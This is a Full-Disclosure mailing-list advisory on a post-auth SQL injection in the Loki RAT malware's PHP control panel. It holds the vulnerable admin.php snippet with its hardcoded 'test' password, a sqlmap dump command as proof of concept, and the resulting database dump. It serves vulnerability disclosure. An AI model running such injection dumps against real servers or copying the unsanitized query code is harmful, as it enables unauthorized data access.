lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sat, 5 Mar 2022 17:06:44 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Loki RAT (Relapse) / SQL Injection

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/aabb54951546132e70a8e9f02bf8b5ba_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Loki RAT (Relapse)
Vulnerability: SQL Injection
Description: The LokiRAT WebUI panel for LokiRAT_Relapse.exe runs on PHP
and MySQL and is used to control infected hosts through a central server.
The backend server side code "admin.php" does not use any secure coding
practices nor does it sanitize or filter user input when constructing MySQL
statements.

Loki admin.php takes four parameter's pass, command, id and type. There's
an auth check using $_GET['pass'] against the clear-text password "test" in
settings.php.

The $_GET['id'] parameter is used directly in SELECT * FROM vircom WHERE
id='$id' statement used in mysql_query() func, making it vulnerable to
post-auth SQL Injection.
Authenticated users or third-party attackers who can guess the password can
easily dump all databases, tables and contents including the MySQL database
schema.

admin.php snippet:

if ($_GET['pass'] == $password) {
$command = $_REQUEST['command'];
$id = $_GET['id'];
$type = $_GET['type'];
 ....

  case "response":
     $query = mysql_query("SELECT * FROM vircom WHERE id='$id'");
     $row = mysql_fetch_array($query);
     echo $row['retCommandNum'] . "{-}" . $row['retCommand'] . "{-}" .
$row['lastUpdate'] . "{-}" . $row['updateInterval'];
     break;

Family: Loki
Type: WebUI
MD5: aabb54951546132e70a8e9f02bf8b5ba
MD5: 16c33e28c8c9b3ea71249ad94be4bf94 (admin.php)
Vuln ID: MVID-2022-0510
Disclosure: 03/05/2022

Exploit/PoC:
sqlmap.py -u "
http://LOKI-RAT-IP/PHP%20Files/admin.php?pass=test&command=webcam&id=1&type=response"
--dbms=MySQL --risk=3 --level=5  --dump

[21:06:25] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to
20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 11385
HTTP(s) requests:
...

back-end DBMS: MySQL >= 5.0.12
[21:06:57] [WARNING] missing database parameter. sqlmap is going to use the
current database to enumerate table(s) entries
[21:06:57] [INFO] fetching current database
[21:06:57] [INFO] fetching tables for database: 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 2 entries
[21:06:57] [INFO] retrieved: klcom
[21:06:57] [INFO] retrieved: vircom
[21:06:57] [INFO] fetching columns for table 'vircom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 13 entries
[21:06:57] [INFO] retrieved: "id","varchar(12)"
[21:06:57] [INFO] retrieved: "ipAddress","varchar(15)"
[21:06:57] [INFO] retrieved: "location","varchar(255)"
[21:06:57] [INFO] retrieved: "compName","varchar(30)"
[21:06:57] [INFO] retrieved: "operatingSystem","varchar(100)"
[21:06:57] [INFO] retrieved: "command","text"
[21:06:57] [INFO] retrieved: "retCommand","text"
[21:06:57] [INFO] retrieved: "retCommandNum","int(11)"
[21:06:57] [INFO] retrieved: "lastUpdate","datetime"
[21:06:57] [INFO] retrieved: "updateInterval","int(9)"
[21:06:57] [INFO] retrieved: "ramMemory","varchar(50)"
[21:06:57] [INFO] retrieved: "processor","varchar(255)"
[21:06:57] [INFO] retrieved: "webcam","int(1)"
[21:06:57] [INFO] fetching entries for table 'vircom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 1 entries
[21:06:57] [INFO] analyzing table dump for possible password hashes
Database: lokirat2
Table: vircom
[1 entry]
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+
| id | webcam | command | compName | location     | processor | ramMemory |
ipAddress | lastUpdate          | retCommand | retCommandNum |
updateInterval | operatingSystem |
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+
| 1  | 1      | melt    | Hate     | New York USA | Intel64   | 15gb      |
10.2.1.3  | 2022-03-05 02:43:34 | doit       | 666           | 0
   | Windows         |
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+

[21:06:57] [INFO] table 'lokirat2.vircom' dumped to CSV file
'C:\Users\Victim\.sqlmap\output\127.0.0.1\dump\lokirat2\vircom.csv'
[21:06:57] [INFO] fetching columns for table 'klcom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 3 entries
[21:06:57] [INFO] retrieved: "id","varchar(15)"
[21:06:57] [INFO] retrieved: "kldata","text"
[21:06:57] [INFO] retrieved: "dateTime","datetime"
[21:06:57] [INFO] fetching entries for table 'klcom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 1 entries
[21:06:57] [INFO] analyzing table dump for possible password hashes
Database: lokirat2
Table: klcom
[1 entry]
+----+----------------+---------------------+
| id | kldata         | dateTime            |
+----+----------------+---------------------+
| 1  | KILL PUTIN     | 2022-03-05 02:42:59 |
+----+----------------+---------------------+

[21:06:57] [INFO] table 'lokirat2.klcom' dumped to CSV file
'C:\Users\Victim\.sqlmap\output\127.0.0.1\dump\lokirat2\klcom.csv'
[21:06:57] [INFO] fetched data logged to text files under
'C:\Users\Victim\.sqlmap\output\127.0.0.1'

[*] shutting down at 21:06:57

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ